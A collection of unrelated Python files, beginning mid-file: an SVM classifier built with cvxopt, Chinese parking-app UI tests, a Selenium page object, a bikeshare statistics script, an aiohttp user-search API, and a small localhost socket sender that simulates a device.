A = cvxopt.matrix(D, (1, Input_Samples))
b = cvxopt.matrix(0.0)
sol = cvxopt.solvers.qp(P, q, G, h, A, b)

# In[9]:

# Solution:
Alpha_Prime = numpy.ravel(numpy.array(sol['x']))
Alpha = numpy.array([0 if i < 1.0e-04 else i for i in Alpha_Prime]) # Making alpha's perfectly zeroes
SV_Pos_Class = numpy.array([[0, 0]]) # Support Vector for Positive Class
SV_Neg_Class = numpy.array([[0, 0]]) # Support Vecotr for Negative Class
SV_Label = numpy.array([]) # Labels for all Support Vectors, to decrease for loop time execution.
for i in range(0, Input_Samples):
    if Alpha[i] != 0:
        if D[i] == 1:
            SV_Pos_Class = numpy.concatenate((SV_Pos_Class, [X[i]]), axis=0)
            SV_Label = numpy.concatenate((SV_Label, [i]), axis=0)
        else:
            SV_Neg_Class = numpy.concatenate((SV_Neg_Class, [X[i]]), axis=0)
            SV_Label = numpy.concatenate((SV_Label, [i]), axis=0)
for k in range(0, Input_Samples):
    if Alpha[k] != 0:
        W = 0
        for i in numpy.nditer(SV_Label):
            W = W + Alpha[int(i)] * D[int(i)] * Gaussian_Kernel(X[int(i)], X[k], Gaussian_Std_Deviation)
#             W = W + Alpha[int(i)] * D[int(i)] * Polynomial_Kernel(X[int(i)], X[k], Order)
        Theta = D[k] - W
        break

# In[10]:

# Generate Boundary
x_points = numpy.linspace(0.0, 1.0, grid_size)
y_points = numpy.linspace(0.0, 1.0, grid_size)
H = numpy.array([[0, 0]]) # Decision Boundary
H_Plus = numpy.array([[0, 0]]) # Postivie Gutter
H_Minus = numpy.array([[0, 0]]) # Negative Gutter
for i in range(0, grid_size):
    for j in range(0, grid_size):
        Discriminant = 0
        temp = numpy.array([x_points[i], y_points[j]])
        for k in numpy.nditer(SV_Label):
            Discriminant = Discriminant + Alpha[int(k)] * D[int(k)] * Gaussian_Kernel(X[int(k)], temp, Gaussian_Std_Deviation)
#             Discriminant = Discriminant + Alpha[int(k)] * D[int(k)] * Polynomial_Kernel(X[int(k)], temp, Order)
        Discriminant = Discriminant + Theta
        if -0.1 < Discriminant < 0.1:
            H = numpy.concatenate((H, [temp]), axis=0)
        elif -1.1 < Discriminant < -0.9:
            H_Minus = numpy.concatenate((H_Minus, [temp]), axis=0)
        elif 0.9 < Discriminant < 1.1:
            H_Plus = numpy.concatenate((H_Plus, [temp]), axis=0)

# In[11]:

# Plot Results
plt.plot(Pos_Class[1:, 0], Pos_Class[1:, 1], 'b.', label=r'Class $C_1$')
plt.plot(SV_Pos_Class[1:, 0], SV_Pos_Class[1:, 1], 'bd', label=r'$C_1$ Support Vectors')
plt.plot(Neg_Class[1:, 0], Neg_Class[1:, 1], 'r.', label=r'Class $C_{-1}$')
plt.plot(SV_Neg_Class[1:, 0], SV_Neg_Class[1:, 1], 'rd', label=r'$C_{-1}$ Support Vectors')
plt.scatter(H[1:, 0], H[1:, 1], s=0.1, c='g', label='Decision Boundary')
plt.scatter(H_Plus[1:, 0], H_Plus[1:, 1], s=0.1, c='b', label='Positive Gutter')
plt.scatter(H_Minus[1:, 0], H_Minus[1:, 1], s=0.1, c='r', label='Negative Gutter')
plt.xlabel(r'X Coordinate $\rightarrow$')
plt.ylabel(r'Y Coordinate $\rightarrow$')
plt.legend(loc='lower center', bbox_to_anchor=(0.5, 1), fancybox=True, shadow=True, ncol=3, borderpad=0.1, labelspacing=0.1)
plt.tight_layout()
plt.savefig('Results.pdf')
plt.show()


a = int(input())
b = int(input())

def rev(a):
    c = 0
    d = a
    for i in range(3):
        c += (d % 10)
        c *= 10
        d = d // 10
    return c//10

if rev(a) < rev(b):
    print(a, '<', b)
elif rev(a) > rev(b):
    print(b, '<', a)
else:
    print(a, '=', b)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2018/12/15 9:44
# @Author  : 叶永彬
# @File    : test_uncertified_carNum.py

from interface.pomp import Pomp
from interface.car_in_out import ApiCase
from Pages.uncertifiedCarnum_page import UncertifiedCarPage
from Pages.payCharges_page import ChargesPage
import unittest
import allure
from common.baseCommon import getFunName

@allure.feature("未认证车辆")
class TestUncertifiedCarNum(unittest.TestCase):
	"""未认证车辆"""
	@classmethod
	def setUpClass(cls):
		cls.carNum = ChargesPage().create_carNum()
		cls.U = UncertifiedCarPage(cls.carNum)
		ChargesPage().binding_carCode(cls.carNum)
		cls.A = ApiCase(carNum =cls.carNum)
		cls.A.car_run_inside()
		Pomp().open_monthTicket(cls.carNum)

	@classmethod
	def tearDownClass(cls):
		ChargesPage().del_carCode(cls.carNum)
		cls.A.car_run_outside()
		Pomp().refund_monthTicket(carNum = cls.carNum)

	@getFunName
	@allure.story("认证车牌--车牌下方有验证提醒")
	def test_Uncertified_carNum_warn(self):
		"""
		用例描述：认证车牌--车牌下方有验证提醒
		"""
		result = self.U.find_uncertified_warm()
		assert "车辆未认证" in result

	@getFunName
	@allure.story("认证车牌--点击进场图片会弹出要提示认证的提醒")
	def test_Uncertified_carPicture_warn(self):
		"""
		用例描述：认证车牌--点击进场图片会弹出要提示认证的提醒
		"""
		result = self.U.find_uncertified_carPicture_warn()
		assert "查看进场图片需要行驶证认证" == result

	@getFunName
	@allure.story("未认证车牌--点击上锁会弹出要认证提醒")
	def test_Uncertified_lock_warn(self):
		"""
		用例描述：未认证车牌--点击上锁会弹出要认证提醒
		"""
		result = self.U.find_uncertified_lock_warn()
		assert "锁车需要行驶证认证" == result

	@getFunName
	@allure.story("未认证车牌--进场的车辆停车场会显示为***停车场")
	def test_Uncertified_parkingName(self):
		"""
		用例描述：未认证车牌--进场的车辆停车场会显示为***停车场
		"""
		result = self.U.find_uncertified_parkingName()
		assert "***停车场" == result

	@getFunName
	@allure.story("未认证车牌--点击月票详情会弹出要认证提醒")
	def test_Uncertified_amonthTicketDetail_authorize_warn(self):
		"""
		用例描述：未认证车牌--点击月票详情会弹出要认证提醒
		"""
		result = self.U.Uncertified_monthTicketDetail_authorize_warn(self.carNum)
		assert "访客授权需行驶证认证" == result


import math

from .locators import BasePageLocators

from selenium.common.exceptions import NoAlertPresentException
from selenium.common.exceptions import TimeoutException
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait

class BasePage(object):
    def __init__(self, browser, url, timeout=5):
        self.browser = browser
        self.url = url
        self.browser.implicitly_wait(timeout)

    def is_disappeared(self, how, what, timeout=4):
        try:
            WebDriverWait(self.browser, timeout, 1, TimeoutException). \
                until_not(EC.presence_of_element_located((how, what)))
        except TimeoutException:
            return False

        return True

    def is_element_present(self, how, what):
        try:
            self.browser.find_element(how, what)
        except:
            return False
        return True

    def is_not_element_present(self, how, what, timeout=4):
        try:
            WebDriverWait(self.browser, timeout).until(EC.presence_of_element_located((how, what)))
        except TimeoutException:
            return True
        return False

    def go_to_login_page(self):
        """Метод переход на страницу ввода логина"""
        link = self.browser.find_element(*BasePageLocators.LOGIN_LINK)
        link.click()

    def go_to_basket_page(self):
        """Метод переход на страницу корзины"""
        link = self.browser.find_element(*BasePageLocators.BASKET_LINK)
        link.click()

    def open(self):
        """Метод перехода по ссылке"""
        self.browser.get(self.url)

    def should_be_authorized_user(self):
        """Проверка: пользователь залогинен"""
        assert self.is_element_present(*BasePageLocators.USER_ICON), 'User icon is not presented,' \
                                                                     ' probably unauthorised user'

    def should_be_login_link(self):
        """Метод проверки ссылки для входа"""
        assert self.is_element_present(*BasePageLocators.LOGIN_LINK), 'Login link is not presented'

    def solve_quiz_and_get_code(self):
        """метод для получения проверочного кода"""
        alert = self.browser.switch_to.alert
        x = alert.text.split(' ')[2]
        answer = str(math.log(abs((12 * math.sin(float(x))))))
        alert.send_keys(answer)
        alert.accept()
        try:
            alert = self.browser.switch_to.alert
            print(f'Your code: {alert.text}')
            alert.accept()
        except NoAlertPresentException:
            print('No second alert presented')


import time
import pandas as pd
import sys

CITY_DATA = { 'chicago': 'chicago.csv',
              'new york city': 'new_york_city.csv',
              'washington': 'washington.csv' }

fname = ""
separate = False

def log():
    """
    This is a logging function which will determine whether to log the information
    to a given file or output it to the console based on the arugments given
    when executing this file.
    """
    def log_func(func):
        def func_wrapper(*var):

            try:
                global fname
                if separate:
                    fname = func.__name__ + ".txt"
                #Will log to a file if the fname is not blank otherwise will
                #go to the except block.
                with open(fname,"a") as f:
                    holder = sys.stdout
                    sys.stdout = f

                    if func.__name__ == "time_stats":
                        sys.stdout.write('\nCalculating The Most Frequent Times of Travel...\n')
                    elif func.__name__ == "station_stats":
                        sys.stdout.write('\nCalculating The Most Popular Stations and Trip...\n')
                    elif func.__name__ == "trip_duration_stats":
                        sys.stdout.write('\nCalculating Trip Duration...\n')
                    elif func.__name__ == "user_stats":
                        sys.stdout.write('\nCalculating User Stats...\n')

                    start_time = time.time()
                    func(*var)
                    sys.stdout.write("\nThis took {0:.5f} seconds. \n".format(time.time() - start_time))

                    sys.stdout.write("-"*40 + "\n")
                    sys.stdout = holder
                    f.close()

            except Exception:
                #If no file is available to write to it will execute this code
                #and output the information to the console.
                if func.__name__ == "time_stats":
                    print('\nCalculating The Most Frequent Times of Travel...\n')
                elif func.__name__ == "station_stats":
                    print('\nCalculating The Most Popular Stations and Trip...\n')
                elif func.__name__ == "trip_duration_stats":
                    print('\nCalculating Trip Duration...\n')
                elif func.__name__ == "user_stats":
                    print('\nCalculating User Stats...\n')

                start_time = time.time()
                func(*var)
                print("\nThis took {0:.5f} seconds. \n".format(time.time() - start_time))

                print("-"*40 + "\n")

        return func_wrapper
    return log_func

def get_filters():
    """
    Asks user to specify a city, month, and day to analyze.

    Returns:
        (str) city - name of the city to analyze
        (str) month - name of the month to filter by, or "all" to apply no month filter
        (str) day - name of the day of week to filter by, or "all" to apply no day filter
    """
    print('\nHello! Let\'s explore some US bikeshare data!\n')
    # get user input for city (chicago, new york city, washington).
    while True:
        city = input("What city would you like to explore: Chicago, New York,"+
                     "or Washington?\n").lower()

        if city in ('chicago', 'new york', 'washington'):
            break

        print("Sorry you chose a city with no data. Please try again.")

    # get user input for month (all, january, february, ... , june)
    while True:
        choice = input("\nWould you like data for a month, day, or both?\n").lower()

        if choice in ("month", "both"):
            while True:
                month = input("\nWhat month would you like data for: January, February,"+
                             "March, April, May, June, or all.\n").lower()

                if (month in ("january", "february", "march", "april",
                                    "may", "june", "all")):
                    if choice == "month":
                        day = "all"
                    break

                print("Sorry you chose a month with no data. Please try again.")

    # get user input for day of week (all, monday, tuesday, ... sunday)
        if choice in ("day", "both"):
            while True:
                day = input("\nWhat day would you like data for: Monday, Tuesday, "+
                              "Wednesday, Thursday, Friday, Saturday, Sunday, or all \n").lower()

                if (day in ("monday", "tuesday", "wednesday", "thursday",
                            "friday", "saturday", "sunday", "all")):
                    if choice == "day":
                        month == "all"
                    break

                print("\nSorry you chose an invalid day. Please try again.\n")
        if choice in ("day", "month", "both"):
            break

        print("\nInvalid choice Please try again.\n")
    print('-'*40)
    return city, month, day

def load_data(city, month, day):
    """
    Loads data for the specified city and filters by month and day if applicable.

    Args:
        (str) city - name of the city to analyze
        (str) month - name of the month to filter by, or "all" to apply no month filter
        (str) day - name of the day of week to filter by, or "all" to apply no day filter
    Returns:
        df - Pandas DataFrame containing city data filtered by month and day
    """

    # load data file into a dataframe
    df = pd.read_csv(CITY_DATA[city])

    # convert the Start Time column to datetime
    df['Start Time'] = pd.to_datetime(df['Start Time'])

    # extract month, day of week, and hours from Start Time to create new columns
    df['month'] = df['Start Time'].dt.month
    df['day_of_week'] = df['Start Time'].dt.weekday_name
    df['hour'] = df['Start Time'].dt.hour

    # filter by month if applicable
    if month != 'all':
        # use the index of the months list to get the corresponding int
        months = ['january', 'february', 'march', 'april', 'may', 'june']
        month = months.index(month) + 1

        # filter by month to create the new dataframe
        df = df[df['month'] == month]

    # filter by day of week if applicable
    if day != 'all':
        # filter by day of week to create the new dataframe
        df = df[df['day_of_week'] == day.title()]

    return df

@log()
def time_stats(df):
    """Displays statistics on the most frequent times of travel."""

    months = ['January', 'February', 'March', 'April', 'May', 'June']

    # Most common month
    print("\nMost common month:")
    print(months[df['month'].mode()[0] - 1])

    # Most common day of week
    print("\nMost common day of week:")
    print(df['day_of_week'].mode()[0])

    # Most common start hour
    print("\nMost common start hour:")
    print(df['hour'].mode()[0])

@log()
def station_stats(df):
    """Displays statistics on the most popular stations and trip."""

    # Most commonly used start station
    print("\nMost commonly used start station:")
    print(df['Start Station'].value_counts().index[0])

    # Most commonly used end station
    print("\nMost commonly used end station:")
    print(df['End Station'].value_counts().index[0])

    # Most frequent combination of start station and end station trip
    df['Station Combo'] = df['Start Station'] +", "+ df['End Station']
    print("\nMost frequent combination of start station and end station trip:")
    print(str(df['Station Combo'].value_counts().index[0]) + "\t" +str(df['Station Combo'].value_counts().max()))

@log()
def trip_duration_stats(df):
    """Displays statistics on the total and average trip duration."""

    # Total Travel Time
    print("\nTotal Travel Time:")
    print(str(df['Trip Duration'].sum()) + " seconds")

    # Mean Travel Time
    print("\nMean Travel Time:")
    print(str(df['Trip Duration'].mean()) + " seconds")

@log()
def user_stats(df):
    """Displays statistics on bikeshare users."""

    # Diplays the counts of each user type
    print("\nTypes of Users:")
    print(df['User Type'].value_counts())

    # Displays the number of each gender
    print("\nMakeup of individuals by Gender:")
    print(df['Gender'].value_counts())

    # Oldest Individuals
    print("\nOldest year of birth:")
    print(int(df['Birth Year'].min()))

    # Youngest individuals
    print("\nMost recent year of birth:")
    print(int(df['Birth Year'].max()))

    # Most common year of birth of individuals
    print("\nMost common year of birth:")
    print(int(df['Birth Year'].mode()[0]))

def get_args(arguments):
    """
    This function handles all arguments given when the file has been executed.

    additional options:
        -on
        -on 'filename'
        -on -s

    If there are no additional options given it will print everything to console.
    """
    global fname
    global separate

    if len(arguments) == 2:
        if arguments[1] == '-on':
            fname = "log.txt"
            print("\n\nPlease note that your output will be logged in file '{}'.\n".format(fname))
    elif len(arguments) == 3:
        if arguments[1] == '-on':
            if arguments[2] == '-s':
                separate = True
                print("\n\nPlease note that each function output will be logged separately.\n")
            else:
                fname = arguments[2]
                print("\n\nPlease note that your output will be logged in file '{}'.\n".format(fname))

def main():
    while True:
        city, month, day = get_filters()
        df = load_data(city, month, day)

        time_stats(df)
        station_stats(df)
        trip_duration_stats(df)
        user_stats(df)

        restart = input('\nWould you like to restart? Enter yes or no.\n')
        if restart.lower() != 'yes':
            break

if __name__ == "__main__":
    get_args(sys.argv)
    main()


import logging
from pathlib import Path
from typing import Union

from aiohttp.web import Application, Request, Response, json_response, \
    HTTPNotFound
from aiohttp_swagger import setup_swagger

from neighbour_seeker import db
from neighbour_seeker.validators import user_schema, search_schema, \
    validate_user_id, validate_payload

logger = logging.getLogger(__name__)

async def get_user_row(request: Request, user_id: int) -> Union[Response, dict]:
    """ Get user DB row, raise 404 if not found. """
    async with request.app['db_pool'].acquire() as conn:
        user_row = await db.get_user(conn, user_id)
    if not user_row:
        logger.warning('User %s not found', user_id)
        raise HTTPNotFound(text='User not found')
    return user_row

@validate_user_id
async def get_user(request: Request) -> Response:
    """ Get user info by id. """
    user_id = int(request.match_info['user_id'])
    user_info = dict(await get_user_row(request, user_id))
    if not user_info['description']:
        user_info.pop('description')
    return json_response(data=user_info, status=200)

@validate_payload(user_schema)
async def create_user(request: Request) -> Response:
    """ Create a single user. """
    payload = await request.json()
    name, latitude, longitude, description = \
        payload['name'], payload['latitude'], \
        payload['longitude'], payload.get('description')
    async with request.app['db_pool'].acquire() as conn:
        user_id = await db.create_user(conn, name, latitude, longitude, description)
    response_data = {'user_id': user_id}
    return json_response(data=response_data, status=201)

@validate_user_id
@validate_payload(user_schema)
async def update_user(request: Request) -> Response:
    """ Update user information: name, description, coords. """
    user_id = int(request.match_info['user_id'])
    await get_user_row(request, user_id)
    payload = await request.json()
    name, latitude, longitude, description = \
        payload['name'], payload['latitude'], \
        payload['longitude'], payload.get('description')
    async with request.app['db_pool'].acquire() as conn:
        await db.update_user(conn, name, latitude, longitude, description, user_id)
    return json_response(status=200)

@validate_user_id
async def delete_user(request: Request) -> Response:
    """ Delete a user by id. """
    user_id = int(request.match_info['user_id'])
    await get_user_row(request, user_id)
    async with request.app['db_pool'].acquire() as conn:
        await db.delete_user(conn, user_id)
    return json_response(status=200)

@validate_payload(search_schema)
async def search(request: Request) -> Response:
    """ Perform KNN search returning nearest neighbour user ids. """
    payload = await request.json()
    user_id, distance, count = \
        payload['user_id'], payload['distance'], payload['count']
    await get_user_row(request, user_id)
    # kilometers to meters
    distance *= 1000
    async with request.app['db_pool'].acquire() as conn:
        results = await db.search(conn, user_id, distance, count)
    return json_response(data=results, status=200)

def setup_routes(app: Application) -> None:
    """ Register http application handlers. """
    app.router.add_get('/users/{user_id}', get_user)
    app.router.add_post('/users', create_user)
    app.router.add_put('/users/{user_id}', update_user)
    app.router.add_delete('/users/{user_id}', delete_user)
    app.router.add_post('/search', search)

    openapi_path = Path(__file__).parent / 'resources' / 'openapi.yml'
    setup_swagger(app, swagger_url="/doc", ui_version=3,
                  swagger_from_file=openapi_path)
    logger.info('App routes initialized')


import socket
import time

def add_one():
    data = [0x02, 0x51, 0x2C, 0x2C,
		0x30, 0x30, 0x30, 0x2E, 0x30,
		0x32, 0x2C, 0x4D, 0x2C, 0x30, 0x30, 0x2C,
		0x03, 0x32, 0x43, 0x0D, 0x0A]
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect(("localhost", 5003))
    for _ in range(600):
        time.sleep(1)
        client.send(bytes(data))

def main():
    add_one()

if __name__ == "__main__":
    main()